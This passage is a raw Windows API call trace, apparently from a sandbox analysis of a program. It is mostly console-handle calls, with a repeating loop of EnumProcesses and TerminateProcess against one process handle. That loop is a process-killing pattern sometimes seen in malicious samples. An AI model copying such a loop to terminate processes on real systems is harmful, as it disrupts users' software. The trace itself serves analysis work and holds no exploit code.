GetLastError () returned 0x0 [0069.091] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0069.091] GetLastError () returned 0x0 [0069.091] SetConsoleTextAttribute (hConsoleOutput=0x6f, wAttributes=0x7) returned 1 [0069.091] GetLastError () returned 0x0 [0069.095] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f [0069.095] GetLastError () returned 0x0 [0069.095] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0069.096] GetLastError () returned 0x0 [0069.096] SetConsoleTextAttribute (hConsoleOutput=0x6f, wAttributes=0x7) returned 1 [0069.096] GetLastError () returned 0x0 [0069.097] EnumProcesses (in: lpidProcess=0x2e56000, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2e56000, lpcbNeeded=0x5e8e5a8) returned 1 [0069.097] GetLastError () returned 0x0 [0069.098] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0069.100] GetLastError () returned 0x0 [0069.104] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f [0069.104] GetLastError () returned 0x0 [0069.104] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6f, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0069.105] GetLastError () returned 0x0 [0069.108] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x73 [0069.113] GetLastError () returned 0x0 [0069.113] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x73, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0069.113] GetLastError () returned 0x0 [0069.117] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77 [0069.118] GetLastError () returned 0x0 [0069.118] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x77, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0069.118] GetLastError () returned 0x0 [0069.121] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7b [0069.122] GetLastError () returned 0x0 [0069.122] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7b, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0069.122] GetLastError () returned 0x0 [0069.126] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7f [0069.126] GetLastError () returned 0x0 [0069.126] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0069.126] GetLastError () returned 0x0 [0069.126] SetConsoleTextAttribute (hConsoleOutput=0x7f, wAttributes=0x7) returned 1 [0069.126] GetLastError () returned 0x0 [0069.130] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7f [0069.139] GetLastError () returned 0x0 [0069.139] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0069.139] GetLastError () returned 0x0 [0069.139] SetConsoleTextAttribute (hConsoleOutput=0x7f, wAttributes=0x7) returned 1 [0069.139] GetLastError () returned 0x0 [0069.143] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7f [0069.144] GetLastError () returned 0x0 [0069.144] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0069.144] GetLastError () returned 0x0 [0069.144] SetConsoleTextAttribute (hConsoleOutput=0x7f, wAttributes=0x7) returned 1 [0069.144] GetLastError () returned 0x0 [0069.148] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7f [0069.148] GetLastError () returned 0x0 [0069.148] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0069.149] GetLastError () returned 0x0 [0069.149] SetConsoleTextAttribute (hConsoleOutput=0x7f, wAttributes=0x7) returned 1 [0069.149] GetLastError () returned 0x0 [0069.150] EnumProcesses (in: lpidProcess=0x2e78044, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2e78044, lpcbNeeded=0x5e8e5a8) returned 1 [0069.150] GetLastError () returned 0x0 [0069.151] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0069.153] GetLastError () returned 0x0 [0069.157] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7f [0069.157] GetLastError () returned 0x0 [0069.157] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7f, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0069.157] GetLastError () returned 0x0 [0069.161] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x83 [0069.166] GetLastError () returned 0x0 [0069.166] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x83, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0069.166] GetLastError () returned 0x0 [0069.170] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x87 [0069.170] GetLastError () returned 0x0 [0069.170] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x87, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0069.170] GetLastError () returned 0x0 [0069.173] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8b [0069.174] GetLastError () returned 0x0 [0069.174] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x8b, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0069.174] GetLastError () returned 0x0 [0069.177] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8f [0069.178] GetLastError () returned 0x0 [0069.178] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x8f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0069.178] GetLastError () returned 0x0 [0069.178] SetConsoleTextAttribute (hConsoleOutput=0x8f, wAttributes=0x7) returned 1 [0069.178] GetLastError () returned 0x0 [0069.182] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8f [0069.182] GetLastError () returned 0x0 [0069.182] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x8f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0069.182] GetLastError () returned 0x0 [0069.183] SetConsoleTextAttribute (hConsoleOutput=0x8f, wAttributes=0x7) returned 1 [0069.183] GetLastError () returned 0x0 [0069.186] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8f [0069.187] GetLastError () returned 0x0 [0069.187] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x8f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0069.187] GetLastError () returned 0x0 [0069.187] SetConsoleTextAttribute (hConsoleOutput=0x8f, wAttributes=0x7) returned 1 [0069.187] GetLastError () returned 0x0 [0069.191] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8f [0069.191] GetLastError () returned 0x0 [0069.191] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x8f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0069.191] GetLastError () returned 0x0 [0069.191] SetConsoleTextAttribute (hConsoleOutput=0x8f, wAttributes=0x7) returned 1 [0069.192] GetLastError () returned 0x0 [0069.192] EnumProcesses (in: lpidProcess=0x2e9948c, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2e9948c, lpcbNeeded=0x5e8e5a8) returned 1 [0069.193] GetLastError () returned 0x0 [0069.194] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0069.196] GetLastError () returned 0x0 [0069.200] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8f [0069.200] GetLastError () returned 0x0 [0069.200] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x8f, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0069.200] GetLastError () returned 0x0 [0069.204] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x93 [0069.208] GetLastError () returned 0x0 [0069.208] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x93, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0069.209] GetLastError () returned 0x0 [0069.212] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x97 [0069.213] GetLastError () returned 0x0 [0069.213] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x97, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0069.213] GetLastError () returned 0x0 [0069.216] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9b [0069.216] GetLastError () returned 0x0 [0069.216] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x9b, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0069.217] GetLastError () returned 0x0 [0069.220] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f [0069.220] GetLastError () returned 0x0 [0069.220] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x9f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0069.221] GetLastError () returned 0x0 [0069.221] SetConsoleTextAttribute (hConsoleOutput=0x9f, wAttributes=0x7) returned 1 [0069.221] GetLastError () returned 0x0 [0069.224] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f [0069.225] GetLastError () returned 0x0 [0069.225] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x9f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0069.225] GetLastError () returned 0x0 [0069.225] SetConsoleTextAttribute (hConsoleOutput=0x9f, wAttributes=0x7) returned 1 [0069.225] GetLastError () returned 0x0 [0069.229] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f [0069.229] GetLastError () returned 0x0 [0069.229] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x9f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0069.229] GetLastError () returned 0x0 [0069.229] SetConsoleTextAttribute (hConsoleOutput=0x9f, wAttributes=0x7) returned 1 [0069.230] GetLastError () returned 0x0 [0069.233] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f [0069.234] GetLastError () returned 0x0 [0069.234] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x9f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0069.234] GetLastError () returned 0x0 [0069.234] SetConsoleTextAttribute (hConsoleOutput=0x9f, wAttributes=0x7) returned 1 [0069.234] GetLastError () returned 0x0 [0069.235] EnumProcesses (in: lpidProcess=0x2eba630, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2eba630, lpcbNeeded=0x5e8e5a8) returned 1 [0069.236] GetLastError () returned 0x0 [0069.236] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0069.238] GetLastError () returned 0x0 [0069.242] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f [0069.243] GetLastError () returned 0x0 [0069.243] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x9f, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0069.243] GetLastError () returned 0x0 [0069.246] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa3 [0069.254] GetLastError () returned 0x0 [0069.254] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xa3, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0069.254] GetLastError () returned 0x0 [0069.258] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa7 [0069.258] GetLastError () returned 0x0 [0069.258] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xa7, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0069.259] GetLastError () returned 0x0 [0069.262] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xab [0069.262] GetLastError () returned 0x0 [0069.262] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xab, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0069.263] GetLastError () returned 0x0 [0069.268] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xaf [0069.268] GetLastError () returned 0x0 [0069.268] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xaf, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0069.268] GetLastError () returned 0x0 [0069.268] SetConsoleTextAttribute (hConsoleOutput=0xaf, wAttributes=0x7) returned 1 [0069.268] GetLastError () returned 0x0 [0069.272] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xaf [0069.273] GetLastError () returned 0x0 [0069.273] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xaf, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0069.273] GetLastError () returned 0x0 [0069.273] SetConsoleTextAttribute (hConsoleOutput=0xaf, wAttributes=0x7) returned 1 [0069.273] GetLastError () returned 0x0 [0069.277] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xaf [0069.277] GetLastError () returned 0x0 [0069.277] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xaf, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0069.277] GetLastError () returned 0x0 [0069.277] SetConsoleTextAttribute (hConsoleOutput=0xaf, wAttributes=0x7) returned 1 [0069.278] GetLastError () returned 0x0 [0069.281] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xaf [0069.282] GetLastError () returned 0x0 [0069.282] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xaf, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0069.282] GetLastError () returned 0x0 [0069.282] SetConsoleTextAttribute (hConsoleOutput=0xaf, wAttributes=0x7) returned 1 [0069.282] GetLastError () returned 0x0 [0069.283] EnumProcesses (in: lpidProcess=0x2edb51c, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2edb51c, lpcbNeeded=0x5e8e5a8) returned 1 [0069.283] GetLastError () returned 0x0 [0069.284] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0069.286] GetLastError () returned 0x0 [0069.290] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xaf [0069.290] GetLastError () returned 0x0 [0069.290] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xaf, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0069.290] GetLastError () returned 0x0 [0069.294] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xb3 [0069.299] GetLastError () returned 0x0 [0069.299] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb3, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0069.299] GetLastError () returned 0x0 [0069.302] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xb7 [0069.303] GetLastError () returned 0x0 [0069.303] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb7, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0069.303] GetLastError () returned 0x0 [0069.307] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xbb [0069.307] GetLastError () returned 0x0 [0069.307] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xbb, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0069.307] GetLastError () returned 0x0 [0069.311] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xbf [0069.311] GetLastError () returned 0x0 [0069.311] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xbf, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0069.311] GetLastError () returned 0x0 [0069.311] SetConsoleTextAttribute (hConsoleOutput=0xbf, wAttributes=0x7) returned 1 [0069.311] GetLastError () returned 0x0 [0069.315] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xbf [0069.316] GetLastError () returned 0x0 [0069.316] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xbf, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0069.316] GetLastError () returned 0x0 [0069.316] SetConsoleTextAttribute (hConsoleOutput=0xbf, wAttributes=0x7) returned 1 [0069.316] GetLastError () returned 0x0 [0069.320] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xbf [0069.320] GetLastError () returned 0x0 [0069.320] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xbf, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0069.320] GetLastError () returned 0x0 [0069.320] SetConsoleTextAttribute (hConsoleOutput=0xbf, wAttributes=0x7) returned 1 [0069.321] GetLastError () returned 0x0 [0069.325] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xbf [0069.325] GetLastError () returned 0x0 [0069.325] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xbf, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0069.325] GetLastError () returned 0x0 [0069.325] SetConsoleTextAttribute (hConsoleOutput=0xbf, wAttributes=0x7) returned 1 [0069.325] GetLastError () returned 0x0 [0069.326] EnumProcesses (in: lpidProcess=0x2efc390, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2efc390, lpcbNeeded=0x5e8e5a8) returned 1 [0069.327] GetLastError () returned 0x0 [0069.327] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0069.329] GetLastError () returned 0x0 [0069.333] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xbf [0069.334] GetLastError () returned 0x0 [0069.334] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xbf, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0069.334] GetLastError () returned 0x0 [0069.338] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc3 [0069.343] GetLastError () returned 0x0 [0069.343] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xc3, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0069.344] GetLastError () returned 0x0 [0069.347] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc7 [0069.348] GetLastError () returned 0x0 [0069.348] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xc7, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0069.348] GetLastError () returned 0x0 [0069.352] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcb [0069.352] GetLastError () returned 0x0 [0069.352] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xcb, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0069.352] GetLastError () returned 0x0 [0069.356] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcf [0069.356] GetLastError () returned 0x0 [0069.356] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xcf, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0069.356] GetLastError () returned 0x0 [0069.356] SetConsoleTextAttribute (hConsoleOutput=0xcf, wAttributes=0x7) returned 1 [0069.357] GetLastError () returned 0x0 [0069.360] CreateFileW 